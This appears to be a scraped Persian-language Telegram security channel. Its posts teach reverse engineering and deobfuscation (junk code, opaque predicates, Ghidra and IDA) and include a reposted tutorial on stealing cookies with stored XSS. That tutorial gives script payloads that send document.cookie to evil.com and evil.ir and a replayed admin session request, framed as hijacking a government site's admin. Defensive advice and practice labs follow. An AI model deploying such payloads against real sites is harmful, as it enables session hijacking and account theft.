1 265
Subscribers
No data24 hours
-37 days
+730 days
Posts Archive
\n\n🔹 این کوکی معمولاً شامل Session ID یا JWT هست که اگه دست هکر بیفته، میتونه دقیقاً مثل قربانی وارد حسابش بشه.\n\n🔥 سناریو: هک حساب مدیر سایت دولتی با XSS\n\nقدم ۱: سایت یه فرم نظر یا چت داره که ورودی رو بدون فیلتر ذخیره میکنه\n\nهکر این payload رو میفرسته:\n\n\n\nقدم ۲: مدیر سایت وارد پنل میشه و نظر رو میخونه\n\nکد اجرا میشه و کوکی مدیر میره برای هکر!\n\nقدم ۳: هکر با استفاده از کوکی وارد پنل میشه:\n\nGET /admin HTTP/1.1\nCookie: sessionid=abc123xyz\n\n حالا هکر دسترسی کامل داره! اطلاعات کاربران، تغییر تنظیمات، حذف دیتا و...\n\n🧨 آسیبپذیریهای واقعی (CVE) با همین تکنیک:\n\n✅ CVE-2020-35489 – Stored XSS in Flarum Forum\n\n🔹 کوکی کاربر قابل سرقت بود\n🔗 [Exploit on GitHub](https://github.com/flarum/core/security/advisories/GHSA-vfx9-qq5v-wmr8)\n🧪 تمرین در: [PortSwigger LAB: Exploiting stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored/lab-event-handler-attribute)\n\n————————————\n\n✅ CVE-2019-11043 – PHP-FPM RCE (ولی با XSS chain)\n\n🔹 میتونست با RCE به کوکی sessionها هم دسترسی پیدا کنه\n🔗 [https://github.com/neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam)\n\n———————————\n\n✅ CVE-2021-21315 – XSS در GitHub Pages\n\n🔹 صفحات شخصی HTML میتونستن XSS ایجاد کنن\n🔗 [https://github.com/advisories/GHSA-4xvj-8m33-4wfc](https://github.com/advisories/GHSA-4xvj-8m33-4wfc)\n\n————————————\n\n 🧪 لابراتورهای تمرینی برای این حمله:\n\n🔹 PortSwigger Labs:\n\nStored XSS exploiting document.cookie\n 🔗 [https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie](https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie)\n\n🔹 DVWA - XSS Module:\n🔗 [http://dvwa.local/vulnerabilities/xss\\_s/](http://dvwa.local/vulnerabilities/xss_s/)\n\n🔹 OWASP Juice Shop (Chapter: “XSS Tier 1,2,3”)\n\n————————————\nچطور جلوی این حمله رو بگیریم؟\n\n✅ همه ورودیها رو sanitize و encode کن\n✅ از HttpOnly برای کوکیهای حساس استفاده کن\n✅ فیلتر کردن تگهای HTML، خصوصاً 














1 265
ابزارهای آماده
BinDiff: برای مقایسه نسخه مبهمسازیشده با نسخه اصلی (اگه داشته باشید)
Diaphora: پلاگین مقایسه برای IDA
1 265
روشهای شناسایی و حذف Junk Code:
دستی (Manual)
توی Ghidra یا IDA دنبال دستوراتی بگردید که:
ورودی و خروجی ندارن
روی ثباتها (registers) تغییری ایجاد نمیکنن
به مسیر اجرایی اصلی مرتبط نیستن
خودکار با اسکریپت Ghidra
میتونیید اسکریپت بنویسید که:
دنبال nop, push/pop جفتی و xor reg, reg بگرده
بلاکهایی که فقط اینا رو دارن پاک یا علامتگذاری کنه
1 265
چرا این کارو میکنن؟
برای فریب دادن الگوریتمهای decompiler
برای طولانی و بینظم کردن گراف کنترل جریان (CFG)
برای کند کردن اسکریپتهای تحلیل خودکار
1 265
تغییری در وضعیت ایجاد نمیکنه / push eax pop eax
nop بی اثر است
no-operation
و بعد add ecx, 0 باعث میشه ecx همچنان صفر بمونه
در نهایت با jmp مستقیم به کد اصلی میره
1 265
مثال ساده از Junk Code:
push eax pop eax nop xor ecx, ecx add ecx, 0 jmp real_code
1 265
Junk Code Injection
روشهای حذفش
یعنی تزریق دستوراتی که هیچ اثری روی اجرای برنامه ندارن فقط برای گمراه کردن تحلیلگر یا دیباگر استفاده میشن
1 265
ابزارهای مفید:
ابزار کاربرد
Ghidra تحلیل کد پیچیده ساخت گراف کنترل جریان IDA Pro دیساسمبلی پیشرفته و دید بصری گرافها Binary Ninja سادهتر ولی مناسب برای obfuscation Ghidra Scripts نوشتن اسکریپتهای تحلیل خودکار
1 265
تکنیکهای Deobfuscation
با استفاده از Ghidra یا IDA:
مسیرهای شرطی غیرمنطقی (مثل cmp eax, eax) رو شناسایی و حذف کنید
برچسبها (labels) و نام تابعها رو خودتون معنی دار کنید تا سردرگم نشید
توی Ghidra میتونی از Script Manager استفاده کنید و اسکریپتهایی بنویسید که:
بلاکهای غیرقابل دسترس (dead code) رو علامتگذاری کنن
توابع جعلی یا بیاثر رو از مسیر تحلیل حذف کنید
1 265
تحلیل کد بالا در ابزارهایی مثل Ghidra یا IDA:
cmp eax, eax + jne همیشه falseمیشه، پس مسیر fake_branch عملا مردهست
junk_function هیچ کاری نمیکنه و فقط برای گیج کردن دیساسمبلر استفاده شده
real_function هدف اصلیه ولی وسط یک ساختار غیرخطی پنهان شده
1 265
Asm
start: push ebp mov ebp, esp cmp eax, eax jne fake_branch nop nop call real_function jmp end fake_branch: xor eax, eax call junk_function jmp start real_function: ; کد واقعی برنامه ; ... ret junk_function: nop nop ret end: mov esp, ebp pop ebp ret
1 265
تحلیل یک باینری با Control Flow Obfuscation
توی این قسمت یاد میگیریم چطور کدهایی که عمدا ساختار طبیعیشون بههم ریخته رو شناسایی کنیم و تمیز کنیم
1 265
Repost from Hack Hive
🎯 دزدیدن کوکی و Hijack کردن نشست کاربر با XSS
🚨 حمله سرقت کوکی با XSS 🥷🏻
📢 یه آسیبپذیری رایج و بسیار خطرناک تو خیلی از سایتها هست به اسم XSS (Cross-Site Scripting) که هکرا ازش استفاده میکنن تا کوکی کاربر رو بدزدن و وارد حساب اون بشن!
❗️اگه سایتت جلوی XSS رو نگرفته باشه، یه اسکریپت ساده میتونه نشست کاربر رو هک کنه. مثلاً فرض کن مدیر سایت یه ادمین بانک یا سامانه دولتیه!
🕵️♂️ ماجرا چیه؟
حمله XSS باعث میشه هکر بتونه روی مرورگر قربانی، کد جاوااسکریپت دلخواه اجرا کنه. اگه کوکی کاربر HttpOnly نباشه، بهراحتی با یه اسکریپت میشه اونو دزدید:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
🔹 این کوکی معمولاً شامل Session ID یا JWT هست که اگه دست هکر بیفته، میتونه دقیقاً مثل قربانی وارد حسابش بشه.
🔥 سناریو: هک حساب مدیر سایت دولتی با XSS
قدم ۱: سایت یه فرم نظر یا چت داره که ورودی رو بدون فیلتر ذخیره میکنه
هکر این payload رو میفرسته:
<script>
new Image().src="https://evil.ir/steal?c="+document.cookie
</script>
قدم ۲: مدیر سایت وارد پنل میشه و نظر رو میخونه
کد اجرا میشه و کوکی مدیر میره برای هکر!
قدم ۳: هکر با استفاده از کوکی وارد پنل میشه:
GET /admin HTTP/1.1
Cookie: sessionid=abc123xyz
حالا هکر دسترسی کامل داره! اطلاعات کاربران، تغییر تنظیمات، حذف دیتا و...
🧨 آسیبپذیریهای واقعی (CVE) با همین تکنیک:
✅ CVE-2020-35489 – Stored XSS in Flarum Forum
🔹 کوکی کاربر قابل سرقت بود
🔗 [Exploit on GitHub](https://github.com/flarum/core/security/advisories/GHSA-vfx9-qq5v-wmr8)
🧪 تمرین در: [PortSwigger LAB: Exploiting stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored/lab-event-handler-attribute)
————————————
✅ CVE-2019-11043 – PHP-FPM RCE (ولی با XSS chain)
🔹 میتونست با RCE به کوکی sessionها هم دسترسی پیدا کنه
🔗 [https://github.com/neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam)
———————————
✅ CVE-2021-21315 – XSS در GitHub Pages
🔹 صفحات شخصی HTML میتونستن XSS ایجاد کنن
🔗 [https://github.com/advisories/GHSA-4xvj-8m33-4wfc](https://github.com/advisories/GHSA-4xvj-8m33-4wfc)
————————————
🧪 لابراتورهای تمرینی برای این حمله:
🔹 PortSwigger Labs:
Stored XSS exploiting document.cookie
🔗 [https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie](https://portswigger.net/web-security/cross-site-scripting/stored/lab-exploiting-document-cookie)
🔹 DVWA - XSS Module:
🔗 [http://dvwa.local/vulnerabilities/xss\_s/](http://dvwa.local/vulnerabilities/xss_s/)
🔹 OWASP Juice Shop (Chapter: “XSS Tier 1,2,3”)
————————————
چطور جلوی این حمله رو بگیریم؟
✅ همه ورودیها رو sanitize و encode کن
✅ از HttpOnly برای کوکیهای حساس استفاده کن
✅ فیلتر کردن تگهای HTML، خصوصاً <script>
✅ تنظیم Content-Security-Policy (CSP) برای جلوگیری از اجرای کدهای ناخواسته
———————————————
@hackhive_channel 🐝
———————————————
1 265
توضیح کاربردها:
بدافزارها برای پنهان کردن رفتار واقعیشون استفاده میکنن
توسعهدهندگان نرمافزارهای پولی برای جلوگیری از کرک
حتی گاهی برای مخفی کردن بخشی از منطق تجاری یا کد لایسنس استفاده میشه
1 265
انواع تکنیکهای رایج Obfuscation
Renaming (تغییر نامها): تغییر نام تابعها متغیرها کلاسها به اسمهای بیمعنا مثل a, b2, _x1 و غیره در کد NET. و Java خیلی رایجه 2 Control Flow Obfuscation: تغییر ساختار طبیعی کدها با اضافه کردن پرشهای بیربط if/elseهای بیمعنا و لوپهای تودرتو در اسمبلی به شکل JMPهای زیاد، CALL های بیدلیل یا پرشهای به عقب دیده میشه 3 Junk Code Injection: تزریق دستوراتی که هیچ کاری نمیکنن (NOP، push/popهای بیاثر) فقط برای گمراه کردن دیباگر یا دیساسمبلر 4 Opaque Predicates: شرط هایی که همیشه درست یا غلط هستن ولی تحلیلگر رو گیج میکنن مثل: CMP EAX, EAX JNE somewhere ; این هیچوقت اجرا نمیشه 5 String Encryption: رمزنگاری رشتهها (مثل نام توابع، URLها کلیدها) که فقط در زمان اجرا رمزگشایی میشن 6 Anti-Decompiler / Anti-Debug Tricks: مثل IsDebuggerPresent, CheckRemoteDebuggerPresent و دستوراتی که ابزارهای تحلیل رو crash میکنن
1 265
گرفتن Dump از حافظه
وقتی به OEP رسیدیم:
از ابزار Scylla یا x64dbg استفاده کنیم برای گرفتن Memory Dump
آدرسهای سکشنها و Import Table رو ذخیره کنید
